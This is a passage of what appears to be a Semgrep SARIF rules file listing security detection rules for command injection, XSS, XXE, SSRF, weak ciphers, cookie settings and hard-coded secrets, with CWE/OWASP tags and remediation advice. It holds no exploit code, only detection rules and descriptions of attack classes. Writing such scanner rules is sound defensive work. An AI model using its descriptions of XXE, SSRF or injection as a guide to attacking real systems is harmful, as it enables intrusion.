prevention](https://semgrep.dev/docs/cheat-sheets/go-command-injection/)"},"helpUri":"https://semgrep.dev/r/go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","id":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","name":"go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.command-injection.net-http-command-injection-taint.net-http-command-injection-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"help":{"markdown":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Unescaped '.' character in CORS domain regex $CORS: $PATTERN"},"helpUri":"https://semgrep.dev/r/typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","id":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","name":"typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard","properties":{"precision":"very-high","tags":["CWE-183: Permissive List of Allowed Inputs","LOW CONFIDENCE","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: typescript.lang.security.audit.cors-regex-wildcard.cors-regex-wildcard"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"help":{"markdown":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish)\n - [https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers](https://cryptography.io/en/latest/hazmat/primitives/symmetric-encryption/#weak-ciphers)\n - [https://tools.ietf.org/html/rfc5469](https://tools.ietf.org/html/rfc5469)\n","text":"Blowfish is a block cipher developed by Bruce Schneier. It is known to be susceptible to attacks when using weak keys.  The author has recommended that users of Blowfish move to newer algorithms such as AES. With the `cryptography` package it is recommended to use `Fernet` which is a secure implementation of AES in CBC mode with a 128-bit key.  Alternatively, keep using the `Cipher` class from the hazmat primitives but use the AES algorithm instead."},"helpUri":"https://semgrep.dev/r/python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","id":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","name":"python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.cryptography.security.insecure-cipher-algorithms-blowfish.insecure-cipher-algorithm-blowfish"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule has been deprecated."},"help":{"markdown":"This rule has been deprecated.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"This rule has been deprecated."},"helpUri":"https://semgrep.dev/r/go.net.ssrf.http-ssrf-taint.http-ssrf-taint","id":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","name":"go.net.ssrf.http-ssrf-taint.http-ssrf-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.ssrf.http-ssrf-taint.http-ssrf-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method)\n - [https://docs.angularjs.org/api/ng/service/$sce](https://docs.angularjs.org/api/ng/service/$sce)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAs can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","id":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","name":"javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-method.detect-angular-trust-as-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-stream-encrypted-with-cmk.aws-kinesis-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"help":{"markdown":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib)\n","text":"source_hash' is only available on Python 3.7+. This does not work in lower versions, and therefore is not backwards compatible. Instead, use another hash function."},"helpUri":"https://semgrep.dev/r/python.lang.compatibility.python37.python37-compatibility-importlib","id":"python.lang.compatibility.python37.python37-compatibility-importlib","name":"python.lang.compatibility.python37.python37-compatibility-importlib","properties":{"precision":"very-high","tags":[]},"shortDescription":{"text":"Semgrep Finding: python.lang.compatibility.python37.python37-compatibility-importlib"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"help":{"markdown":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none)\n - [https://flask-login.readthedocs.io/en/latest/#session-protection](https://flask-login.readthedocs.io/en/latest/#session-protection)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Flask-Login provides session protection to help prevent user sessions from being stolen. When this is active, sessions will be marked as non-fresh when the user's IP or user agent is changed. It is not advised to disable this feature."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","id":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","name":"python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-login-session-protection-none.flask-login-session-protection-none"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"help":{"markdown":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie)\n - [https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie](https://docs.djangoproject.com/en/3.0/ref/request-response/#django.http.HttpResponse.set_cookie)\n - [https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/](https://semgrep.dev/blog/2020/bento-check-keeping-cookies-safe-in-flask/)\n - [https://bento.dev/checks/flask/secure-set-cookie/](https://bento.dev/checks/flask/secure-set-cookie/)\n","text":"Django cookies should be handled securely by setting secure=True, httponly=True, and samesite='Lax' in response.set_cookie(...). If your situation calls for different settings, explicitly disable the setting. If you want to send the cookie over http, set secure=False. If you want to let client-side JavaScript read the cookie, set httponly=False. If you want to attach cookies to requests for external sites, set samesite=None."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.secure-cookies.django-secure-set-cookie","id":"python.django.security.audit.secure-cookies.django-secure-set-cookie","name":"python.django.security.audit.secure-cookies.django-secure-set-cookie","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.secure-cookies.django-secure-set-cookie"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","id":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","name":"go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.gorilla.gorilla-cookie-store-hardcoded-session-key.gorilla-cookie-store-hardcoded-session-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","id":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","name":"java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xml-decoder-deepsemgrep.tainted-xml-decoder-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","id":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","name":"kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.openai.openai-hardcoded-secret.openai-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"help":{"markdown":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss)\n - [https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html](https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/ValidatingInput.html)\n","text":"Potential cross site scripting (XSS) occurs due to untrusted input being loaded into a WebView. The impact of such issues can vary depending on the features, permissions and exposure of data & functionality that the WebView contains. For example, in some applications the presence of JavaScript bridges may allow for the instrumentation of application code, and potentially arbitrary code execution in the context of the app. In other instances, it may be possible to manipulate the DOM to redraw the UI and phish users, or conduct other typical XSS attacks."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","id":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","name":"swift.webview.webview-loadhtmlstring-xss.swift-webview-xss","properties":{"precision":"very-high","tags":["CWE-79:Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-loadhtmlstring-xss.swift-webview-xss"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the SAXParserFactory with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations for the SAXParserFactory also provide protection against XXE attacks. `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, enabling both of `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", and `factory.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)`. Furthermore, you can configure the SAXParser itself with `parser.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` to provide protection against XXE attacks. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","id":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","name":"java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-saxparser-xxe-spring.tainted-saxparser-xxe-spring"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Telegram Bot API Key detected"},"help":{"markdown":"Telegram Bot API Key detected\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Telegram Bot API Key detected"},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","id":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","name":"generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-telegram-bot-api-key.detected-telegram-bot-api-key"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"help":{"markdown":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"The libxml library processes user-input with the `noent` attribute is set to `true` which can lead to being vulnerable to XML External Entities (XXE) type attacks. It is recommended to set `noent` to `false` when using this feature to ensure you are protected."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-noent.express-libxml-noent","id":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","name":"javascript.express.security.audit.express-libxml-noent.express-libxml-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-noent.express-libxml-noent"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes)\n - [https://pugjs.org/language/attributes.html#attributes](https://pugjs.org/language/attributes.html#attributes)\n","text":"Detected a unescaped variables using '&attributes'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","id":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","name":"javascript.express.security.audit.xss.pug.and-attributes.template-and-attributes","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: 